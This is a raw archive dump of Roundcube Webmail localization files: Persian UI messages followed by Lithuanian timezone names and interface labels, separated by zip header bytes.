$messages['addingmember'] = 'در حال افزودن مخاطب(ها) به گروه...';
$messages['removingmember'] = 'در حال حذف مخاطب(ها) از گروه...';
$messages['receiptsent'] = 'رسید خواندن با کام‌یابی ارسال شد.';
$messages['errorsendingreceipt'] = 'ارسال رسید انجام نشد.';
$messages['deleteidentityconfirm'] = 'آیا از حذف این شناسه مطمئن هستید؟';
$messages['nodeletelastidentity'] = 'این شناسه را نمی‌توانید حذف کنید، زیرا آخرین شناسه شما است.';
$messages['forbiddencharacter'] = 'نام پوشه شامل یک کاراکتر غیر مجاز است.';
$messages['selectimportfile'] = 'لطفاً پرونده‌ای را برای بارگذاری انتخاب کنید.';
$messages['addresswriterror'] = 'دفترچه نشانی انتخابی قابل نوشتن نیست.';
$messages['contactaddedtogroup'] = 'مخاطب‌ها با کام‌یابی به این گروه اضافه شدند.';
$messages['contactremovedfromgroup'] = 'مخاطب‌ها با کام‌یابی از این گروه حذف شدند.';
$messages['nogroupassignmentschanged'] = 'هیچ تکلیف گروهی تغییر نکرده است.';
$messages['importwait'] = 'در حال وارد کردن، لطفا صبر کنید...';
$messages['importformaterror'] = 'وارد کردن ناموفق! فایل بارگذاری شده یک فایل اطلاعات معتبر نیست.';
$messages['importconfirm'] = '<b>$inserted مخاطب با کام‌یابی وارد شدند</b>';
$messages['importconfirmskipped'] = '<b>$skipped ورودی موجود نادیده گرفته شدند</b>';
$messages['importmessagesuccess'] = 'با کام‌یابی $nr پیام وارد شد.';
$messages['importmessageerror'] = 'وارد کردن ناموفق! فایل بارگذاری شده یک پیام یا صندوق‌پستی معتبر نیست.';
$messages['opnotpermitted'] = 'عملیات مجاز نیست!';
$messages['editorwarning'] = 'تعویض به ویرایشگر متن ساده باعث از دست رفتن قالب‌بندی همه متن‌ها می‌شود، آیا می‌خواهید عملیات را ادامه بدهید؟';
$messages['httpreceivedencrypterror'] = 'یک خطای پیکربندی خطرناک رخ داده است. سریعا با سرپرست یا مسئول خود تماس بگیرید. <b>امکان ارسال  پیام شما وجود ندارد.</b>';
$messages['smtpconnerror'] = 'خطای SMTP ($code): اتصال به سرور ناموفق بود.';
$messages['smtpautherror'] = 'خطای SMTP ($code): تصدیق هویت ناموفق بود.';
$messages['smtpfromerror'] = 'خطای SMTP ($code): ناموفق در تنظیم فرستنده "$from" ($msg).';
$messages['smtptoerror'] = 'خطای SMTP ($code): نام موفق در افزودن گیرنده "$to" ($msg).';
$messages['smtprecipientserror'] = 'خطای SMTP: ناتوان در تجزیه فهرست گیرنده‌ها.';
$messages['smtperror'] = 'خطای SMTP: $msg';
$messages['toomanyrecipients'] = 'گیرنده‌های بیش از اندازه: تعداد گیرنده ها را به $max کاهش دهید.';
$messages['maxgroupmembersreached'] = 'تعداد اعضای گروه بیشتر از $max است.';
$messages['internalerror'] = 'یک خطای داخلی رخ داده است. لطفا دوباره سعی کنید.';
$messages['contactdelerror'] = 'حذف مخاطب(ها) انجام شد.';
$messages['contactdeleted'] = 'مخاطب(ها) با کام‌یابی حذف شدند.';
$messages['contactrestoreerror'] = 'مخاطب(های) حذف شده بازگردانی نخواهند شد.';
$messages['contactrestored'] = 'مخاطب(ها) با کام‌یابی بازگردانده شدند.';
$messages['groupdeleted'] = 'گروه با کام‌یابی حذف شد.';
$messages['grouprenamed'] = 'نام گروه با کام‌یابی تغییر داده شد.';
$messages['groupcreated'] = 'گروه با کام‌یابی ایجاد شد.';
$messages['savedsearchdeleted'] = 'جستجوی ذخیره شده با کام‌یابی حذف شد.';
$messages['savedsearchdeleteerror'] = 'حذف جستجوی ذخیره شده انجام نشد.';
$messages['savedsearchcreated'] = 'جستجوی حذف شده با کام‌یابی ایجاد شد.';
$messages['savedsearchcreateerror'] = 'ساخت جستجوی ذخیره شده انجام نشد.';
$messages['messagedeleted'] = 'پیام(ها) با کام‌یابی حذف شدند.';
$messages['messagemoved'] = 'پیام(ها) با کام‌یابی منتقل شدند.';
$messages['messagecopied'] = 'پیام(ها) با کام‌یابی کپی شدند.';
$messages['messagemarked'] = 'پیام(ها) با کام‌یابی نشانه‌گذاری شدند.';
$messages['autocompletechars'] = 'حداقل $min حرف برای تکمیل خودکار وارد نمایید.';
$messages['autocompletemore'] = 'نتایج زیادی یافت شد. لطفا حروف بیشتری وارد نمایید.';
$messages['namecannotbeempty'] = 'نام نمی‌تواند خالی باشد.';
$messages['nametoolong'] = 'نام خیلی طولانی است.';
$messages['folderupdated'] = 'پوشه با کام‌یابی به‌روز شد.';
$messages['foldercreated'] = 'پوشه با کام‌یابی افزوده شد.';
$messages['invalidimageformat'] = 'فرمت تصویر نامعتبر است.';
$messages['mispellingsfound'] = 'خطای املایی در پیام شناسایی شد.';
$messages['parentnotwritable'] = 'به دلیل نداشتن حق دسترسی، ایجاد/انتقال پوشه به پوشه والد انتخاب شده، انجام نشد.';
$messages['messagetoobig'] = 'بخش پیام برای پردازش آن خیلی بزرگ است.';
$messages['noscriptwarning'] = 'هشدار: این برنامه به جاوااسکریپت نیاز دارد! برای استفاده از این برنامه لطفا جاوااسکریپت را در تنظیمات مرورگر خود فعال نمایید.';
$messages['errnotfound'] = 'پرونده پیدا نشد';
PK
h�\Q,g(program/localization/lt_LT/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC (Pasaulinis koordinuotasis laikas)';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidžanas';
$labels['tz:africa:accra'] = 'Akra';
$labels['tz:africa:addis_ababa'] = 'Adis Abeba';
$labels['tz:africa:algiers'] = 'Alžyras';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamakas';
$labels['tz:africa:bangui'] = 'Bangis';
$labels['tz:africa:banjul'] = 'Bandžulis';
$labels['tz:africa:bissau'] = 'Bisau';
$labels['tz:africa:blantyre'] = 'Blantairas';
$labels['tz:africa:brazzaville'] = 'Brazavilis';
$labels['tz:africa:bujumbura'] = 'Bužumbūra';
$labels['tz:africa:cairo'] = 'Kairas';
$labels['tz:africa:casablanca'] = 'Kasablanka';
$labels['tz:africa:ceuta'] = 'Seuta';
$labels['tz:africa:conakry'] = 'Konakris';
$labels['tz:africa:dakar'] = 'Dakaras';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salamas';
$labels['tz:africa:djibouti'] = 'Džibutis';
$labels['tz:africa:douala'] = 'Duala';
$labels['tz:africa:el_aaiun'] = 'Al Ajunas';
$labels['tz:africa:freetown'] = 'Fritaunas';
$labels['tz:africa:gaborone'] = 'Gaboronas';
$labels['tz:africa:harare'] = 'Hararė';
$labels['tz:africa:johannesburg'] = 'Johanesburgas';
$labels['tz:africa:juba'] = 'Džuba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Chartumas';
$labels['tz:africa:kigali'] = 'Kigalis';
$labels['tz:africa:kinshasa'] = 'Kinšasa';
$labels['tz:africa:lagos'] = 'Lagosas';
$labels['tz:africa:libreville'] = 'Librevilis';
$labels['tz:africa:lome'] = 'Lomė';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbašis';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabas';
$labels['tz:africa:maputo'] = 'Maputu';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabanė';
$labels['tz:africa:mogadishu'] = 'Mogadišas';
$labels['tz:africa:monrovia'] = 'Monrovija';
$labels['tz:africa:nairobi'] = 'Nairobis';
$labels['tz:africa:ndjamena'] = 'Ndžamena';
$labels['tz:africa:niamey'] = 'Niamėjus';
$labels['tz:africa:nouakchott'] = 'Nuakšotas';
$labels['tz:africa:ouagadougou'] = 'Uagadugu';
$labels['tz:africa:porto-novo'] = 'Porto Novas';
$labels['tz:africa:sao_tome'] = 'San Tomė';
$labels['tz:africa:tripoli'] = 'Tripolis';
$labels['tz:africa:tunis'] = 'Tunisas';
$labels['tz:africa:windhoek'] = 'Vindhukas';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:adak'] = 'Adakas';
$labels['tz:america:anchorage'] = 'Ankoridžas';
$labels['tz:america:anguilla'] = 'Angilija';
$labels['tz:america:antigua'] = 'Antigva';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Airės';
$labels['tz:america:argentina:catamarca'] = 'Katamarka';
$labels['tz:america:argentina:cordoba'] = 'Kordoba';
$labels['tz:america:argentina:jujuy'] = 'Chuchujus';
$labels['tz:america:argentina:la_rioja'] = 'La Riocha';
$labels['tz:america:argentina:mendoza'] = 'Mendosa';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Galjegosas';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Chuanas';
$labels['tz:america:argentina:san_luis'] = 'San Luisas';
$labels['tz:america:argentina:tucuman'] = 'Tukumanas';
$labels['tz:america:argentina:ushuaia'] = 'Ušuaja';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunsjonas';
$labels['tz:america:atikokan'] = 'Atikokanas';
$labels['tz:america:bahia'] = 'Bahija';
$labels['tz:america:barbados'] = 'Barbadosas';
$labels['tz:america:belize'] = 'Belizas';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boizis';
$labels['tz:america:cambridge_bay'] = 'Kembridž Bėjus';
$labels['tz:america:campo_grande'] = 'Kampo Grandė';
$labels['tz:america:cancun'] = 'Kankunas';
$labels['tz:america:caracas'] = 'Karakasas';
$labels['tz:america:cayenne'] = 'Kajena';
$labels['tz:america:chicago'] = 'Čikaga';
$labels['tz:america:chihuahua'] = 'Čihuahua';
$labels['tz:america:costa_rica'] = 'Kosta Rika';
$labels['tz:america:creston'] = 'Krestonas';
$labels['tz:america:cuiaba'] = 'Kujaba';
$labels['tz:america:curacao'] = 'Kiurasao';
$labels['tz:america:dawson'] = 'Dosonas';
$labels['tz:america:dawson_creek'] = 'Dosono įlanka';
$labels['tz:america:denver'] = 'Denveris';
$labels['tz:america:detroit'] = 'Detroitas';
$labels['tz:america:dominica'] = 'Dominika';
$labels['tz:america:edmonton'] = 'Edmontonas';
$labels['tz:america:eirunepe'] = 'Eirunepė';
$labels['tz:america:el_salvador'] = 'Salvadoras';
$labels['tz:america:fort_nelson'] = 'Fort Nelsonas';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:godthab'] = 'Nukas';
$labels['tz:america:grand_turk'] = 'Grand Terkas';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Gvadelupa';
$labels['tz:america:guatemala'] = 'Gvatemala';
$labels['tz:america:guayaquil'] = 'Gvajakilis';
$labels['tz:america:guyana'] = 'Gajana';
$labels['tz:america:halifax'] = 'Halifaksas';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosiljas';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:marengo'] = 'Marengas';
$labels['tz:america:iqaluit'] = 'Ikaluitas';
$labels['tz:america:jamaica'] = 'Jamaika';
$labels['tz:america:juneau'] = 'Džunas';
$labels['tz:america:kentucky'] = 'Kentukis';
$labels['tz:america:kentucky:louisville'] = 'Luisvilis';
$labels['tz:america:kralendijk'] = 'Kralendeikas';
$labels['tz:america:la_paz'] = 'La Pasas';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Andželas';
$labels['tz:america:maceio'] = 'Masejas';
$labels['tz:america:managua'] = 'Managva';
$labels['tz:america:manaus'] = 'Manausas';
$labels['tz:america:marigot'] = 'Marigo';
$labels['tz:america:martinique'] = 'Martinika';
$labels['tz:america:matamoros'] = 'Matamorosas';
$labels['tz:america:mazatlan'] = 'Masatlanas';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Meksikas';
$labels['tz:america:miquelon'] = 'Mikelonas';
$labels['tz:america:moncton'] = 'Monktonas';
$labels['tz:america:monterrey'] = 'Monterėjus';
$labels['tz:america:montevideo'] = 'Montevidėjas';
$labels['tz:america:nassau'] = 'Nasau';
$labels['tz:america:new_york'] = 'Niujorkas';
$labels['tz:america:nome'] = 'Nomas';
$labels['tz:asia'] = 'Azija';
$labels['tz:australia'] = 'Australija';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:vilnius'] = 'Vilnius';
PK
h�\ۭ�.����%program/localization/lt_LT/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Sveiki! Čia $product';
$labels['username'] = 'Naudotojo vardas';
$labels['password'] = 'Slaptažodis';
$labels['server'] = 'Serveris';
$labels['login'] = 'Prisijungti';
$labels['oauthlogin'] = 'Prisijungti per $provider';
$labels['menu'] = 'Meniu';
$labels['logout'] = 'Atsijungti';
$labels['mail'] = 'El. paštas';
$labels['settings'] = 'Nuostatos';
$labels['addressbook'] = 'Adresų knyga';
$labels['darkmode'] = 'Tamsi veiksena';
$labels['lightmode'] = 'Šviesi veiksena';
$labels['inbox'] = 'Gauti laiškai';
$labels['drafts'] = 'Juodraščiai';
$labels['sent'] = 'Išsiųsti laiškai';
$labels['trash'] = 'Šiukšlinė';
$labels['junk'] = 'Brukalas';
$labels['show_real_foldernames'] = 'Rodyti tikrus specialiųjų aplankų vardus';
$labels['subject'] = 'Tema';
$labels['from'] = 'Siuntėjas';
$labels['sender'] = 'Siuntėjas';
$labels['to'] = 'Gavėjas';
$labels['cc'] = 'Kopija';
$labels['bcc'] = 'Slaptoji kopija';
$labels['replyto'] = 'Atsakymą gaus';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Data';
$labels['size'] = 'Dydis';
$labels['priority'] = 'Prioritetas';
$labels['organization'] = 'Organizacija';
$labels['readstatus'] = 'Neskaitytas';
$labels['listoptions'] = 'Sąrašo nuostatos…';
$labels['listoptionstitle'] = 'Sąrašo nuostatos';
$labels['mailboxlist'] = 'Aplankai';
$labels['messagesfromto'] = 'Laiškai nuo $from iki $to iš $count';
$labels['threadsfromto'] = 'Gijos nuo $from iki $to iš $count';
$labels['messagenrof'] = 'Laiškas $nr iš $count';
$labels['fromtoshort'] = '$from – $to iš $count';
$labels['copy'] = 'Kopijuoti';
$labels['move'] = 'Perkelti';
$labels['moveto'] = 'Perkelti į…';
$labels['copyto'] = 'Kopijuoti į...';
$labels['download'] = 'Parsisiųsti';
$labels['open'] = 'Atverti';
$labels['showattachment'] = 'Rodyti';
$labels['showanyway'] = 'Vistiek rodyti';
$labels['filename'] = 'Failo vardas';
$labels['filesize'] = 'Failo dydis';
$labels['addtoaddressbook'] = 'Įtraukti į adresų knygą';
$labels['sun'] = 'Sek';
$labels['mon'] = 'Pir';
$labels['tue'] = 'Ant';
$labels['wed'] = 'Tre';
$labels['thu'] = 'Ket';
$labels['fri'] = 'Pen';
$labels['sat'] = 'Šeš';
$labels['sunday'] = 'Sekmadienis';
$labels['monday'] = 'Pirmadienis';
$labels['tuesday'] = 'Antradienis';
$labels['wednesday'] = 'Trečiadienis';
$labels['thursday'] = 'Ketvirtadienis';
$labels['friday'] = 'Penktadienis';
$labels['saturday'] = 'Šeštadienis';
$labels['jan'] = 'Sau';
$labels['feb'] = 'Vas';
$labels['mar'] = 'Kov';
$labels['apr'] = 'Bal';
$labels['may'] = 'Gegužė';
$labels['jun'] = 'Bir';
$labels['jul'] = 'Lie';
$labels['aug'] = 'Rgp';
$labels['sep'] = 'Rgs';
$labels['oct'] = 'Spl';
$labels['nov'] = 'Lap';
$labels['dec'] = 'Grd';
$labels['longjan'] = 'Sausis';
$labels['longfeb'] = 'Vasaris';
$labels['longmar'] = 'Kovas';
$labels['longapr'] = 'Balandis';
$labels['longmay'] = 'Gegužė';
$labels['longjun'] = 'Biržėlis';
$labels['longjul'] = 'Liepa';
$labels['longaug'] = 'Rugpjūtis';
$labels['longsep'] = 'Rugsėjis';
$labels['longoct'] = 'Spalis';
$labels['longnov'] = 'Lapkritis';
$labels['longdec'] = 'Gruodis';
$labels['today'] = 'Šiandien';
$labels['refresh'] = 'Atnaujinti';
$labels['checkmail'] = 'Tikrinti, ar yra naujų laiškų';
$labels['compose'] = 'Rašyti';
$labels['writenewmessage'] = 'Rašyti naują laišką';
$labels['reply'] = 'Atsakyti';
$labels['replytomessage'] = 'Atsakyti siuntėjui';
$labels['replytoallmessage'] = 'Atsakyti el. pašto grupei arba laiško siuntėjui ir visiems jo gavėjams';
$labels['replyall'] = 'Atsakyti visiems';
$labels['replylist'] = 'Atsakyti el. pašto grupei';
$labels['forward'] = 'Persiųsti';
$labels['forwardinline'] = 'Persiųsti cituojant';
$labels['forwardattachment'] = 'Persiųsti priedu';
$labels['forwardmessage'] = 'Persiųsti laišką';
$labels['bouncemsg'] = 'Siųsti iš naujo (grąžinimas)';
$labels['bounce'] = 'Siųsti iš naujo';
$labels['deletemessage'] = 'Pašalinti laišką';
$labels['movemessagetotrash'] = 'Perkelti laišką į šiukšlinę';
$labels['printmessage'] = 'Atspausdinti laišką';
$labels['previousmessage'] = 'Rodyti ankstesnį laišką';
$labels['firstmessage'] = 'Rodyti pirmąjį laišką';
$labels['nextmessage'] = 'Rodyti tolesnį laišką';
$labels['lastmessage'] = 'Rodyti paskutinį laišką';
$labels['backtolist'] = 'Grižti į laiškų sarašą';
$labels['viewsource'] = 'Rodyti pirminį tekstą';
$labels['mark'] = 'Pažymėti';
$labels['markmessages'] = 'Pažymėti laiškus';
$labels['markread'] = 'Kaip skaitytus';
$labels['markunread'] = 'Kaip neskaitytus';
$labels['markflagged'] = 'Pažymėti gairele';
$labels['markunflagged'] = 'Pašalinti gairelę';
$labels['markundeleted'] = 'Kaip nepašalintus';
$labels['moreactions'] = 'Kiti veiksmai…';
$labels['markallread'] = 'Žymėti visus kaip skaitytus';
$labels['folders-cur'] = 'Tik pasirinktas aplankas';
$labels['folders-sub'] = 'Pasirinktas aplankas ir jo poaplankiai';
$labels['folders-all'] = 'Visi aplankai';
$labels['more'] = 'Kita';
$labels['back'] = 'Grįžti';
$labels['options'] = 'Nuostatos';
$labels['composeoptions'] = 'Laiško kūrimo nuostatos';
$labels['optionsandattachments'] = 'Nuostatos ir priedai';
$labels['actions'] = 'Veiksmai';
$labels['first'] = 'Pirmas';
$labels['last'] = 'Paskutinis';
$labels['previous'] = 'Ankstesnis';
$labels['next'] = 'Sekantis';
$labels['select'] = 'Pažymėti';
$labels['selection'] = 'Žymėjimas';
$labels['all'] = 'visus';
$labels['none'] = 'Nieko';
$labels['currpage'] = 'matomus šiame puslapyje';
$labels['isread'] = 'Skaityti';
$labels['unread'] = 'neskaitytus';
$labels['flagged'] = 'su gairele';
$labels['unflagged'] = 'Nepažymėti vėliavėle';
$labels['unanswered'] = 'neatsakytus';
$labels['withattachment'] = 'Su priedu';
$labels['deleted'] = 'pašalintus';
$labels['undeleted'] = 'Neištrintas';
$labels['replied'] = 'Atsakytieji';
$labels['forwarded'] = 'Persiųstieji';
$labels['invert'] = 'invertuoti';
$labels['filter'] = 'Rodyti';
$labels['list'] = 'Sąrašas';
$labels['threads'] = 'Gijos';
$labels['expand-all'] = 'išskleisti visas';
$labels['expand-unread'] = 'išskleisti turinčias neskaitytų laiškų';
$labels['collapse-all'] = 'suskleisti visas';
$labels['threaded'] = 'Rodyti gijas';
$labels['showunread'] = 'Rodyti neskaitytus laiškus';
$labels['autoexpand_threads'] = 'Išskleisti gijas';
$labels['do_expand'] = 'visas';
$labels['expand_only_unread'] = 'tik turinčias neskaitytų laiškų';
$labels['fromto'] = 'Siuntėjas/Gavėjas';
$labels['flag'] = 'Gairelė';
$labels['attachment'] = 'Priedas';
$labels['nonesort'] = 'Nerūšiuoti';
$labels['sentdate'] = 'Išsiuntimo laikas';
$labels['arrival'] = 'Gavimo laikas';
$labels['asc'] = 'didėjančiai';
$labels['desc'] = 'mažėjančiai';
$labels['listcolumns'] = 'Stulpelių sąrašas';
$labels['listsorting'] = 'Stulpelis rikiavimui';
$labels['listorder'] = 'Rikiavimo tvarka';
$labels['listmode'] = 'Sąrašo rodymo veiksena';
$labels['lmode'] = 'Sąrašo veiksena';
$labels['layout'] = 'Išdėstymas';
$labels['layoutwidescreen'] = 'Platus ekranas';
$labels['layoutdesktop'] = 'Darbalaukis';
$labels['layoutlist'] = 'Sąrašas';
$labels['layoutwidescreendesc'] = 'Plačiaekranis (3 stulpelių rodymas)';
$labels['layoutdesktopdesc'] = 'Darbalaukis (platus sąrašas, o žemiau pašto peržiūra)';
$labels['layoutlistdesc'] = 'Sąrašas (be pašto peržiūros)';
$labels['folderactions'] = 'Veiksmai su aplankais…';
$labels['compact'] = 'Suglaudinti';
$labels['empty'] = 'Ištuštinti';
$labels['importmessages'] = 'Importuoti laiškus';
$labels['mailimportdesc'] = 'Jūs galite įkelti paštą, naudodami failus <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> ar <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> formatu.';
$labels['mailimportzip'] = 'Keli failai gali būti suglaudinti į zip archyvus.';
$labels['quota'] = 'Disko naudojimas';
$labels['unknown'] = 'nežinomas';
$labels['unlimited'] = 'neribotas';
$labels['quotatype'] = 'Kvotos tipas';
$labels['quotatotal'] = 'Limitas';
$labels['quotaused'] = 'Išnaudota';
$labels['quotastorage'] = 'Disko talpa';
$labels['quotamessage'] = 'Laiškų skaičius';
$labels['shortheaderdate'] = 'Ties $date';
$labels['shortheaderto'] = 'Skirtas $to ties $date';
$labels['shortheaderfrom'] = 'Nuo $from ties $date';
$labels['quicksearch'] = 'Sparčioji paieška';
$labels['searchplaceholder'] = 'Ieškoti...';
$labels['resetsearch'] = 'Atšaukti paiešką';
$labels['searchmod'] = 'Paieškos modifikatoriai';
$labels['msgtext'] = 'Visas laiškas';
$labels['body'] = 'Laiško tekstas';
$labels['type'] = 'Tipas';
$labels['namex'] = 'Vardas';
$labels['searchscope'] = 'Sritis';
$labels['currentfolder'] = 'Šis aplankas';
$labels['subfolders'] = 'Šis ir poaplankiai';
$labels['allfolders'] = 'Visi aplankai';
$labels['searchinterval-1W'] = 'senesni nei savaitės';
$labels['searchinterval-1M'] = 'senesni nei mėnesio';
$labels['searchinterval-1Y'] = 'senesni nei metų';
$labels['searchinterval1W'] = 'ne senesni nei savaitės';
$labels['searchinterval1M'] = 'ne senesni nei mėnesio';
$labels['searchinterval1Y'] = 'ne senesni nei metų';
$labels['openinextwin'] = 'Atverti naujame lange';
$labels['emlsave'] = 'Parsisiųsti (.eml)';
$labels['changeformattext'] = 'Rodyti grynojo teksto formatu';
$labels['changeformathtml'] = 'Rodyti HTML formatu';
$labels['editasnew'] = 'Redaguoti kaip naują';
$labels['send'] = 'Siųsti';
$labels['sendmessage'] = 'Išsiųsti laiską';
$labels['savemessage'] = 'Išsaugoti šį juodraštį';
$labels['addattachment'] = 'Pridėti failą';
$labels['charset'] = 'Koduotė';
$labels['editortype'] = 'Laiško tipas';
$labels['returnreceipt'] = 'Prašyti pristatymo pažymos';
$labels['dsn'] = 'Laiško pristatymo pažyma';
$labels['mailreplyintro'] = '$date, $sender rašė:';
$labels['originalmessage'] = 'Originalus laiškas';
$labels['selectimage'] = 'Pažymėti paveikslą';
$labels['addimage'] = 'Pridėti paveikslą';
$labels['selectmedia'] = 'Pažymėti vaizdo įrašą';
$labels['addmedia'] = 'Pridėti vaizdo įrašą';
$labels['encrypt'] = 'Šifruoti';
$labels['encryptmessage'] = 'Šifruoti laišką';
$labels['encryptmessagemailvelope'] = 'Šifruoti laišką, naudojant „Mailvelope“ naršyklės plėtinį';
$labels['importpubkeys'] = 'Importuoti viešuosius raktus';
$labels['encryptedsendialog'] = 'Siunčiamas šifruotas laiškas';
$labels['encryptandsign'] = 'Šifruoti ir pasirašyti';
$labels['keyid'] = 'Rakto ID';
$labels['keylength'] = 'Bitai';
$labels['keyexpired'] = 'Nebegalioja';
$labels['keyrevoked'] = 'Atšauktas';
$labels['bccinstead'] = 'Naudoti Bcc';
$labels['addheader'] = 'Pridėti gavėją (antraštė)';
$labels['insert'] = 'Įterpti';
$labels['insertcontact'] = 'Įterpti adresatą(-us)';
$labels['recipient'] = 'Gavėjas';
$labels['recipientedit'] = 'Gavėjo taisymas';
$labels['editidents'] = 'Tvarkyti tapatybes';
$labels['spellcheck'] = 'Tikrinti rašybą';
$labels['checkspelling'] = 'Tikrinti rašybą';
$labels['resumeediting'] = 'Tęsti redagavimą';
$labels['revertto'] = 'Atstatyti į';
$labels['restore'] = 'Atkurti';
$labels['restoremessage'] = 'Atkurti pranešimus?';
$labels['ignore'] = 'Ignoruoti';
$labels['responses'] = 'Atsakymai';
$labels['insertresponse'] = 'Įterpti atsakymą';
$labels['manageresponses'] = 'Tvarkyti atsakymus';
$labels['newresponse'] = 'Kurti naują atsakymą';
$labels['addresponse'] = 'Pridėti atsakymą';
$labels['editresponse'] = 'Taisyti atsakymą';
$labels['editresponses'] = 'Taisyti atsakymus';
$labels['responsename'] = 'Pavadinimas';
$labels['responsetext'] = 'Atsakymo tekstas';
$labels['attach'] = 'Pridėti failą';
$labels['attachments'] = 'Pridėti failai';
$labels['upload'] = 'Įkelti';
$labels['uploadprogress'] = '$percent ($current iš $total)';
$labels['close'] = 'Užverti';
$labels['messageoptions'] = 'Laiško savybės…';
$labels['togglecomposeoptions'] = 'Rodyti/slėpti nustatymus';
$labels['attachmentrename'] = 'Pervardinti priedą';
$labels['low'] = 'Žemas';
$labels['lowest'] = 'Žemiausias';
$labels['normal'] = 'Normalus';
$labels['high'] = 'Aukštas';
$labels['highest'] = 'Aukščiausias';
$labels['nosubject'] = '(tema nenurodyta)';
$labels['showimages'] = 'Rodyti paveikslėlius';
$labels['allow'] = 'Leisti';
$labels['alwaysshow'] = 'Visada rodyti paveikslėlius $sender laiškuose';
$labels['alwaysallow'] = 'Visada leisti nuo $sender';
$labels['isdraft'] = 'Tai – laiško juodraštis.';
$labels['andnmore'] = '$nr daugiau...';
$labels['details'] = 'Išsamiau';
$labels['summary'] = 'Santrauka';
$labels['headers'] = 'Antraštės';
$labels['allheaders'] = 'Visos antraštės...';
$labels['togglemoreheaders'] = 'Rodyti daugiau antraščių';
$labels['togglefullheaders'] = 'Įjungti/išjungti neapdorotas laiškų antraštes';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Grynasis tekstas';
$labels['savesentmessagein'] = 'Išsiųstus laiškus įrašyti į';
$labels['dontsave'] = 'neįrašyti';
$labels['maxuploadsize'] = 'Maksimalus leistinas failo dydis yra $size';
$labels['addcc'] = 'Pridėti Cc';
$labels['addbcc'] = 'Pridėti Bcc';
$labels['addreplyto'] = 'Pridėti Reply-To';
$labels['addfollowupto'] = 'Pridėti Followup-To';
$labels['mdnrequest'] = 'Šio laiško siuntėjas paprašė patvirtinti, kad jūs jį perskaitėte. Ar išsiųsti tai patvirtinančią pažymą?';
$labels['receiptread'] = 'Patvirtinimas (laiškas perskaitytas)';
$labels['yourmessage'] = 'Tai – pažyma, patvirtinanti, jog buvo perskaitytas Jūsų laiškas';
$labels['receiptnote'] = 'Pastaba: šia pažyma patvirtinamas tik faktas, jog laiškas buvo parodytas gavėjui. Ja negarantuojama, jog gavėjas perskaitė ir suprato laiško turinį.';
$labels['zoomin'] = 'Didinti';
$labels['zoomout'] = 'Mažinti';
$labels['rotate'] = 'Pasukti';
$labels['increaseimage'] = 'Padidinti paveikslo dydį';
$labels['decreaseimage'] = 'Sumažinti paveikslo dydį';
$labels['rotateimage'] = 'Pasukti paveikslą';
$labels['showtools'] = 'Rodyti paveikslų įrankius';
$labels['hidetools'] = 'Slėpti paveikslų įrankius';
$labels['name'] = 'Rodomas vardas';
$labels['firstname'] = 'Vardas';
$labels['surname'] = 'Pavardė';
$labels['middlename'] = 'Kiti vardai';
$labels['nameprefix'] = 'Titulas';
$labels['namesuffix'] = 'Sufiksas';
$labels['nickname'] = 'Pravardė';
$labels['jobtitle'] = 'Pareigos';
$labels['department'] = 'Padalinys';
$labels['gender'] = 'Lytis';
$labels['maidenname'] = 'Mergautinė pavardė';
$labels['email'] = 'El. paštas';
$labels['phone'] = 'Telefono numeris';
$labels['address'] = 'Adresas';
$labels['street'] = 'Gatvė, namas ir butas';
$labels['locality'] = 'Miestas';
$labels['zipcode'] = 'Pašto kodas';
$labels['region'] = 'Regionas';
$labels['country'] = 'Valstybė';
$labels['birthday'] = 'Gimimo data';
$labels['anniversary'] = 'Jubiliejus';
$labels['website'] = 'Svetainė';
$labels['instantmessenger'] = 'Tikralaikiai pokalbiai';
$labels['notes'] = 'Pastabos';
$labels['male'] = 'vyras';
$labels['female'] = 'moteris';
